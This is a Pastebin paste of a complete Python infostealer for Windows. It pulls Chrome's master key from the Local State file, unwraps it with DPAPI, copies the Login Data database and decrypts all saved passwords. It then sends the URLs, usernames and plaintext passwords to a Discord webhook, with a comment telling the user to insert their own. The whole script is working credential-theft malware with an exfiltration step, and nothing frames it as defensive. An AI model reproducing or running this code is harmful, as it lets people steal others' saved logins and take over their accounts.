Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import json
- import base64
- import sqlite3
- import win32crypt
- from Crypto.Cipher import AES
- import shutil
- import requests
- # Define the name of the temporary database where the Chrome login data will be stored
- temp_db = "Loginvault.db"
- # Pull the master encryption key from chrome's local state file
- def get_master_key():
- # Define the path to the Local State file
- local_state_path = os.environ['USERPROFILE'] + os.sep + r'AppData\\Local\\Google\\Chrome\\User Data\\Local State'
- # Check if the Local State file exists (if it doesn't then wtf)
- if not os.path.exists(local_state_path):
- print("The 'Local State' file does not exist.")
- return None
- try:
- # Try open and read the Local State file (where the master key is stored)
- with open(local_state_path, "r", encoding='utf-8') as f:
- local_state = f.read()
- local_state = json.loads(local_state)
- # Extract the master key, decode it, remove the DPAPI prefix than decrypt it using DPAPI (the biggest f you I've ever seen)
- master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
- master_key = master_key[5:]
- master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
- return master_key
- except (IOError, KeyError, ValueError) as e:
- # If any error occurs during the process, print the error and return None
- print(f"An error occurred while getting the master key: {e}")
- return None
- # Decrypt payload with cipher
- def decrypt_payload(cipher, payload):
- try:
- return cipher.decrypt(payload)
- except Exception as e:
- print(f"An error occurred while decrypting the payload: {e}")
- return None
- # Generate a new AES cipher for decryption
- def generate_cipher(aes_key, iv):
- try:
- return AES.new(aes_key, AES.MODE_GCM, iv)
- except ValueError as e:
- print(f"An error occurred while generating the cipher: {e}")
- return None
- # Decrypt the password using the master key
- def decrypt_password(buff, master_key):
- try:
- # Get the initialization vector and payload from the buffer
- iv = buff[3:15]
- payload = buff[15:]
- # Generate a new AES cipher using the master key and IV and decrypt the password
- cipher = generate_cipher(master_key, iv)
- if cipher:
- decrypted_pass = decrypt_payload(cipher, payload)
- if decrypted_pass:
- # Decode the decrypted password and remove the padding
- decrypted_pass = decrypted_pass[:-16].decode()
- return decrypted_pass
- else:
- return "Failed to decrypt password"
- else:
- return "Failed to generate cipher"
- except Exception as e:
- print(f"An error occurred while decrypting the password: {e}")
- return "Decryption failed"
- # Pull all saved login credentials from chrome
- def retrieve_chrome_passwords(temp_db_file, master_key):
- decrypted_info = []
- # Check if the temporary database file exists
- if not os.path.exists(temp_db_file):
- print("The temporary database file does not exist.")
- return decrypted_info
- try:
- # Connect to the chrome login data SQLite database and pull all saved login credentials
- conn = sqlite3.connect(temp_db_file)
- cursor = conn.cursor()
- cursor.execute("SELECT action_url, username_value, password_value FROM logins")
- for r in cursor.fetchall():
- url = r[0]
- username = r[1]
- encrypted_password = r[2]
- decrypted_password = decrypt_password(encrypted_password, master_key)
- decrypted_info.append((url, username, decrypted_password))
- cursor.close()
- conn.close()
- except sqlite3.Error as e:
- print(f"An error occurred while retrieving the Chrome passwords: {e}")
- # Delete the temporary database file
- try:
- os.remove(temp_db_file)
- except Exception as e:
- print(f"An error occurred while deleting the temporary database file: {e}")
- return decrypted_info
- # Yeet the data to a discord webhook
- def send_to_discord_webhook(data, webhook_url):
- try:
- # Prepare the HTTP headers and payload for the POST request (not sure if i need more accept header)
- headers = {'Content-Type': 'application/json'}
- payload = {'content': data}
- # Send a POST request to the Discord Webhook with the decrypted data
- response = requests.post(webhook_url, json=payload, headers=headers)
- # Check the HTTP status code of the response
- if response.status_code == 204:
- print("Decrypted information uploaded to Discord successfully!")
- else:
- print("Failed to upload decrypted information to Discord.")
- except Exception as e:
- print(f"An error occurred while sending data to the Discord Webhook: {e}")
- # Main function
- if __name__ == '__main__':
- # Get the master key
- master_key = get_master_key()
- if not master_key:
- exit(1)
- # Define the path to the Chrome login data SQLite database and check if it exists
- login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\\Local\\Google\\Chrome\\User Data\\default\\Login Data'
- if not os.path.exists(login_db):
- print("The Chrome login data SQLite database does not exist.")
- exit(1)
- # Copy the Chrome login data SQLite database to a temporary database file
- shutil.copy2(login_db, temp_db)
- # Retrieve all saved login credentials from Chrome
- decrypted_info = retrieve_chrome_passwords(temp_db, master_key)
- # Define the Discord Webhook URL (replace with your own obviously)
- webhook_url = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
- # Prepare the data to be sent to the Discord Webhook
- data_to_upload = ""
- for entry in decrypted_info:
- url, username, decrypted_password = entry
- data_to_upload += f"URL: {url}\nUser Name: {username}\nPassword: {decrypted_password}\n{'*' * 50}\n"
- # Send the decrypted data to the Discord Webhook
- send_to_discord_webhook(data_to_upload, webhook_url)
Add Comment
Please, Sign In to add comment